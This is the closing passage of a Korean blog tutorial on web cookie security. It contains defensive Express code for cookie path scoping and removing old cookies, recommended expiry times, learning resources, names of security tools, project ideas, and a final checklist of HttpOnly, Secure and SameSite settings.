// static.example.com (์ฟ ํ‚ค ์—†์Œ)
// api.example.com (์ฟ ํ‚ค ์žˆ์Œ)

2. ์ฟ ํ‚ค ๊ฒฝ๋กœ ์ œํ•œ
// ํŠน์ • ๊ฒฝ๋กœ์—๋งŒ ์ฟ ํ‚ค ์ „์†ก
res.cookie('adminSession', sessionId, {
  path: '/admin',  // /admin ๊ฒฝ๋กœ์—์„œ๋งŒ ์ „์†ก
  httpOnly: true,
  secure: true
});

// API ์ „์šฉ ์ฟ ํ‚ค
res.cookie('apiToken', token, {
  path: '/api',  // /api ๊ฒฝ๋กœ์—์„œ๋งŒ ์ „์†ก
  httpOnly: true,
  secure: true
});

3. ๋งŒ๋ฃŒ ์‹œ๊ฐ„ ์ตœ์ ํ™”
โ€ข ์„ธ์…˜ ์ฟ ํ‚ค: ์งง๊ฒŒ (15-30๋ถ„)
โ€ข ๊ธฐ์–ตํ•˜๊ธฐ: ๊ธธ๊ฒŒ (30์ผ)
โ€ข ์„ค์ • ์ฟ ํ‚ค: ๋งค์šฐ ๊ธธ๊ฒŒ (1๋…„)

4. ๋ถˆํ•„์š”ํ•œ ์ฟ ํ‚ค ์ •๋ฆฌ
// ์ฃผ๊ธฐ์ ์œผ๋กœ ์˜ค๋ž˜๋œ ์ฟ ํ‚ค ์‚ญ์ œ
app.use((req, res, next) => {
  // ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š” ์ฟ ํ‚ค ์‚ญ์ œ
  const unusedCookies = ['old_session', 'deprecated_token'];
  
  unusedCookies.forEach(name => {
    if (req.cookies[name]) {
      res.clearCookie(name);
    }
  });
  
  next();
});

๐ŸŽ“ ํ•™์Šต ๋ฆฌ์†Œ์Šค ๋ฐ ๋„๊ตฌ

์ถ”์ฒœ ํ•™์Šต ์ž๋ฃŒ

๋” ๊นŠ์ด ๊ณต๋ถ€ํ•˜๊ณ  ์‹ถ๋‹ค๋ฉด ์ด ์ž๋ฃŒ๋“ค์„ ์ฐธ๊ณ ํ•ด๋ด! ๐Ÿ“š

๐Ÿ“– ๊ณต์‹ ๋ฌธ์„œ
โ€ข MDN Web Docs - HTTP Cookies
โ€ข OWASP Cookie Security
โ€ข RFC 6265 (Cookie ํ‘œ์ค€)
โ€ข Chrome Platform Status
๐ŸŽฅ ์˜จ๋ผ์ธ ๊ฐ•์˜
โ€ข Udemy - Web Security
โ€ข Coursera - Cybersecurity
โ€ข YouTube - OWASP Channel
โ€ข Pluralsight - Security Path
๐Ÿ“ฑ ์ปค๋ฎค๋‹ˆํ‹ฐ
โ€ข Stack Overflow
โ€ข Reddit - r/websecurity
โ€ข OWASP Slack
โ€ข Security StackExchange

์œ ์šฉํ•œ ๋„๊ตฌ๋“ค

๐Ÿ› ๏ธ ๊ฐœ๋ฐœ ๋„๊ตฌ:

1. ๋ธŒ๋ผ์šฐ์ € ํ™•์žฅ ํ”„๋กœ๊ทธ๋žจ
โ€ข EditThisCookie - ์ฟ ํ‚ค ํŽธ์ง‘
โ€ข Cookie-Editor - ์ฟ ํ‚ค ๊ด€๋ฆฌ
โ€ข Web Developer - ์ข…ํ•ฉ ๋„๊ตฌ

2. ๋ณด์•ˆ ํ…Œ์ŠคํŠธ ๋„๊ตฌ
โ€ข OWASP ZAP - ๋ฌด๋ฃŒ ๋ณด์•ˆ ์Šค์บ๋„ˆ
โ€ข Burp Suite - ํ”„๋กœ ๋„๊ตฌ
โ€ข Nikto - ์›น ์„œ๋ฒ„ ์Šค์บ๋„ˆ
โ€ข sqlmap - SQL ์ธ์ ์…˜ ํ…Œ์ŠคํŠธ

3. ๋ชจ๋‹ˆํ„ฐ๋ง ๋„๊ตฌ
โ€ข Sentry - ์—๋Ÿฌ ์ถ”์ 
โ€ข LogRocket - ์„ธ์…˜ ๋ฆฌํ”Œ๋ ˆ์ด
โ€ข New Relic - APM
โ€ข Datadog - ํ†ตํ•ฉ ๋ชจ๋‹ˆํ„ฐ๋ง

4. ์˜จ๋ผ์ธ ๊ฒ€์‚ฌ ๋„๊ตฌ
โ€ข Mozilla Observatory
โ€ข Security Headers
โ€ข SSL Labs
โ€ข Qualys SSL Test

์‹ค์Šต ํ”„๋กœ์ ํŠธ ์•„์ด๋””์–ด

๐Ÿ’ก ์ง์ ‘ ๋งŒ๋“ค์–ด๋ณด๋ฉด์„œ ๋ฐฐ์šฐ๊ธฐ:

ํ”„๋กœ์ ํŠธ 1: ์•ˆ์ „ํ•œ ๋กœ๊ทธ์ธ ์‹œ์Šคํ…œ
โ€ข HttpOnly + Secure + SameSite ์ ์šฉ
โ€ข CSRF ํ† ํฐ ๊ตฌํ˜„
โ€ข ์„ธ์…˜ ๊ด€๋ฆฌ
โ€ข 2๋‹จ๊ณ„ ์ธ์ฆ

ํ”„๋กœ์ ํŠธ 2: ์ฟ ํ‚ค ๋ณด์•ˆ ํ…Œ์Šคํ„ฐ
โ€ข ์›น์‚ฌ์ดํŠธ์˜ ์ฟ ํ‚ค ๋ถ„์„
โ€ข ๋ณด์•ˆ ์ ์ˆ˜ ๊ณ„์‚ฐ
โ€ข ๊ฐœ์„  ๋ฐฉ์•ˆ ์ œ์‹œ
โ€ข ๋ฆฌํฌํŠธ ์ƒ์„ฑ

ํ”„๋กœ์ ํŠธ 3: ์žฌ๋Šฅ ๊ณต์œ  ํ”Œ๋žซํผ (์žฌ๋Šฅ๋„ท ์Šคํƒ€์ผ)
โ€ข ์‚ฌ์šฉ์ž ์ธ์ฆ ์‹œ์Šคํ…œ
โ€ข ๊ฑฐ๋ž˜ ๋ณด์•ˆ
โ€ข ๊ฒฐ์ œ ์—ฐ๋™
โ€ข ์ฟ ํ‚ค ๋ณด์•ˆ ์ ์šฉ

ํ”„๋กœ์ ํŠธ 4: ๋ณด์•ˆ ๊ฐ์‚ฌ ๋„๊ตฌ
โ€ข ์ž๋™ํ™”๋œ ์ฟ ํ‚ค ๊ฒ€์‚ฌ
โ€ข XSS ํ…Œ์ŠคํŠธ
โ€ข CSRF ํ…Œ์ŠคํŠธ
โ€ข ๋ณด๊ณ ์„œ ์ƒ์„ฑ

๐ŸŽฏ ๋งˆ๋ฌด๋ฆฌ ๋ฐ ํ•ต์‹ฌ ์š”์•ฝ

์ž, ์—ฌ๊ธฐ๊นŒ์ง€ ์ฟ ํ‚ค ๋ณด์•ˆ์— ๋Œ€ํ•ด ์ •๋ง ๋งŽ์€ ๋‚ด์šฉ์„ ๋‹ค๋ค˜์–ด! ๋งˆ์ง€๋ง‰์œผ๋กœ ํ•ต์‹ฌ๋งŒ ์ •๋ฆฌํ•ด๋ณผ๊ฒŒ. ๐ŸŽ“

๐ŸŒŸ ํ™ฉ๊ธˆ ๊ทœ์น™ 5๊ฐ€์ง€

1๏ธโƒฃ ์„ธ์…˜ ์ฟ ํ‚ค๋Š” ๋ฐ˜๋“œ์‹œ HttpOnly
XSS ๊ณต๊ฒฉ์œผ๋กœ๋ถ€ํ„ฐ ๋ณดํ˜ธํ•˜๋Š” ์ฒซ ๋ฒˆ์งธ ๋ฐฉ์–ด์„ !

2๏ธโƒฃ ์šด์˜ ํ™˜๊ฒฝ์—์„œ๋Š” ํ•ญ์ƒ Secure
HTTPS์™€ ํ•จ๊ป˜ ์‚ฌ์šฉํ•ด์„œ ๋„คํŠธ์›Œํฌ ์Šค๋‹ˆํ•‘ ๋ฐฉ์ง€!

3๏ธโƒฃ SameSite๋Š” ์ตœ์†Œ Lax๋กœ ์„ค์ •
CSRF ๊ณต๊ฒฉ์„ ๋ง‰๋Š” ๊ฐ€์žฅ ์‰ฌ์šด ๋ฐฉ๋ฒ•!

4๏ธโƒฃ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋Š” ์ฟ ํ‚ค์— ์ €์žฅํ•˜์ง€ ๋ง ๊ฒƒ
์„ธ์…˜ ID๋งŒ ์ €์žฅํ•˜๊ณ  ๋‚˜๋จธ์ง€๋Š” ์„œ๋ฒ„์—!

5๏ธโƒฃ ์ •๊ธฐ์ ์ธ ๋ณด์•ˆ ๊ฐ์‚ฌ
ํ•œ ๋ฒˆ ์„ค์ •ํ•˜๊ณ  ๋์ด ์•„๋‹ˆ์•ผ. ์ง€์†์ ์ธ ๋ชจ๋‹ˆํ„ฐ๋ง์ด ํ•„์š”ํ•ด!

โœ… ์ฒดํฌ๋ฆฌ์ŠคํŠธ ์ตœ์ข… ์ •๋ฆฌ:

ํ•„์ˆ˜ ์„ค์ •
โ˜‘๏ธ HttpOnly: true (์„ธ์…˜ ์ฟ ํ‚ค)
โ˜‘๏ธ Secure: true (์šด์˜ ํ™˜๊ฒฝ)
โ˜‘๏ธ SameSite: 'lax' ๋˜๋Š” 'strict'
โ˜‘๏ธ ์ ์ ˆํ•œ ๋งŒ๋ฃŒ ์‹œ๊ฐ„ ์„ค์ •
โ˜‘๏ธ Domain/Path ์ œํ•œ

์ถ”๊ฐ€ ๋ณด์•ˆ
โ˜‘๏ธ HTTPS ์ „ํ™˜ ์™„๋ฃŒ
โ˜‘๏ธ HSTS ํ—ค๋” ์„ค์ •
โ˜‘๏ธ CSRF ํ† ํฐ ๊ตฌํ˜„
โ˜‘๏ธ ์„ธ์…˜ ๊ณ ์ • ๊ณต๊ฒฉ ๋ฐฉ์–ด
โ˜‘๏ธ ์ฟ ํ‚ค ์•”ํ˜ธํ™” (ํ•„์š”์‹œ)

๋ชจ๋‹ˆํ„ฐ๋ง
โ˜‘๏ธ ๋ณด์•ˆ ๋กœ๊ทธ ์ˆ˜์ง‘
โ˜‘๏ธ ์ด์ƒ ํŒจํ„ด ๊ฐ์ง€
โ˜‘๏ธ ์ •๊ธฐ ๋ณด์•ˆ ๊ฐ์‚ฌ
โ˜‘๏ธ ์ทจ์•ฝ์  ์Šค์บ”
โ˜‘๏ธ ์‚ฌ์šฉ์ž ํ”ผ๋“œ๋ฐฑ ์ˆ˜์ง‘

๋‹ค์Œ ๋‹จ๊ณ„

์ฟ ํ‚ค ๋ณด์•ˆ์„ ๋งˆ์Šคํ„ฐํ–ˆ๋‹ค๋ฉด, ์ด์ œ ๋‹ค์Œ ์ฃผ์ œ๋“ค๋„ ๊ณต๋ถ€ํ•ด๋ณด์ž! ๐Ÿš€

๐Ÿ” ๊ด€๋ จ ๋ณด์•ˆ ์ฃผ์ œ
โ€ข JWT ํ† ํฐ ๋ณด์•ˆ
โ€ข OAuth 2.0
โ€ข Content Security Policy
โ€ข CORS ์„ค์ •
โ€ข SQL Injection ๋ฐฉ์–ด
๐Ÿ›ก๏ธ ๊ณ ๊ธ‰ ๋ณด์•ˆ
โ€ข ์•”ํ˜ธํ™” ๊ธฐ๋ฒ•
โ€ข ํ•ด์‹œ ํ•จ์ˆ˜
โ€ข ๋””์ง€ํ„ธ ์„œ๋ช…
โ€ข PKI ์ธํ”„๋ผ
โ€ข Zero Trust ์•„ํ‚คํ…์ฒ˜
๐Ÿ“ฑ ํ”Œ๋žซํผ๋ณ„ ๋ณด์•ˆ
โ€ข ๋ชจ๋ฐ”์ผ ์•ฑ ๋ณด์•ˆ
โ€ข API ๋ณด์•ˆ
โ€ข ๋งˆ์ดํฌ๋กœ์„œ๋น„์Šค ๋ณด์•ˆ
โ€ข ํด๋ผ์šฐ๋“œ ๋ณด์•ˆ
โ€ข IoT ๋ณด์•ˆ

๋งˆ์ง€๋ง‰ ๋‹น๋ถ€

โš ๏ธ ๊ธฐ์–ตํ•ด์•ผ ํ•  ๊ฒƒ๋“ค:

๐Ÿ”’ ๋ณด์•ˆ์€ ํ•œ ๋ฒˆ์— ๋๋‚˜์ง€ ์•Š์•„
์ง€์†์ ์ธ ๊ด€์‹ฌ๊ณผ ์—…๋ฐ์ดํŠธ๊ฐ€ ํ•„์š”ํ•ด. ์ƒˆ๋กœ์šด ์ทจ์•ฝ์ ์€ ๊ณ„์† ๋ฐœ๊ฒฌ๋˜๊ณ , ๊ณต๊ฒฉ ๊ธฐ๋ฒ•๋„ ์ง„ํ™”ํ•˜๊ฑฐ๋“ .

โš–๏ธ ๋ณด์•ˆ๊ณผ ์‚ฌ์šฉ์„ฑ์˜ ๊ท ํ˜•
๋„ˆ๋ฌด ์—„๊ฒฉํ•œ ๋ณด์•ˆ์€ ์‚ฌ์šฉ์ž ๊ฒฝํ—˜์„ ํ•ด์น  ์ˆ˜ ์žˆ์–ด. ์„œ๋น„์Šค ํŠน์„ฑ์— ๋งž๋Š” ์ ์ ˆํ•œ ์ˆ˜์ค€์„ ์ฐพ์•„์•ผ ํ•ด.

๐Ÿ‘ฅ ํŒ€ ์ „์ฒด์˜ ๋ณด์•ˆ ์˜์‹
๊ฐœ๋ฐœ์ž ํ˜ผ์ž๋งŒ ์‹ ๊ฒฝ ์“ด๋‹ค๊ณ  ํ•ด๊ฒฐ๋˜์ง€ ์•Š์•„. ๊ธฐํš์ž, ๋””์ž์ด๋„ˆ, QA ๋ชจ๋‘๊ฐ€ ๋ณด์•ˆ์„ ์ดํ•ดํ•ด์•ผ ํ•ด.

๐Ÿ“š ๊ณ„์† ๋ฐฐ์šฐ๊ธฐ
์›น ๋ณด์•ˆ์€ ๋น ๋ฅด๊ฒŒ ๋ณ€ํ™”ํ•˜๋Š” ๋ถ„์•ผ์•ผ. ์ตœ์‹  ํŠธ๋ Œ๋“œ์™€ ๋ฒ ์ŠคํŠธ ํ”„๋ž™ํ‹ฐ์Šค๋ฅผ ๊ณ„์† ๊ณต๋ถ€ํ•ด์•ผ ํ•ด.

๐Ÿค ์ปค๋ฎค๋‹ˆํ‹ฐ ์ฐธ์—ฌ
ํ˜ผ์ž ๊ณ ๋ฏผํ•˜์ง€ ๋ง๊ณ  ์ปค๋ฎค๋‹ˆํ‹ฐ์—์„œ ๊ฒฝํ—˜์„ ๊ณต์œ ํ•˜๊ณ  ๋ฐฐ์›Œ. ์žฌ๋Šฅ๋„ท ๊ฐ™์€ ํ”Œ๋žซํผ์—์„œ ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€๋“ค๊ณผ ๊ต๋ฅ˜ํ•˜๋Š” ๊ฒƒ๋„ ์ข‹์€ ๋ฐฉ๋ฒ•์ด์•ผ!

๐ŸŽ‰ ์ถ•ํ•˜ํ•ด์š”!

์ฟ ํ‚ค ๋ณด์•ˆ์˜ ๋ชจ๋“  ๊ฒƒ์„ ๋ฐฐ์› ์–ด! ์ด์ œ ๋‹น์‹ ์€ HttpOnly, Secure, SameSite๋ฅผ ์ž์œ ์ž์žฌ๋กœ ๋‹ค๋ฃฐ ์ˆ˜ ์žˆ์–ด. ๐ŸŽ“

์ด ์ง€์‹์„ ์‹ค์ œ ํ”„๋กœ์ ํŠธ์— ์ ์šฉํ•ด๋ณด๊ณ , ๋” ์•ˆ์ „ํ•œ ์›น์„ ๋งŒ๋“œ๋Š” ๋ฐ ๊ธฐ์—ฌํ•ด๋ด!

๊ถ๊ธˆํ•œ ์ ์ด ์žˆ๋‹ค๋ฉด ์–ธ์ œ๋“  ์žฌ๋Šฅ๋„ท์˜ ์ง€์‹์ธ์˜ ์ˆฒ์—์„œ ์งˆ๋ฌธํ•˜๊ฑฐ๋‚˜,
๋ณด์•ˆ ์ „๋ฌธ๊ฐ€๋“ค๊ณผ ๊ต๋ฅ˜ํ•˜๋ฉด์„œ ๊ณ„์† ์„ฑ์žฅํ•ด๋‚˜๊ฐ€์ž! ๐Ÿ’ช

Happy Secure Coding! ๐Ÿ”โœจ

๋Œ“๊ธ€ ์ž‘์„ฑ

์ด ๊ธ€์— ๋Œ€ํ•œ ์—ฌ๋Ÿฌ๋ถ„์˜ ์ƒ๊ฐ์„ ๋“ค๋ ค์ฃผ์„ธ์š”

๋Œ“๊ธ€ 0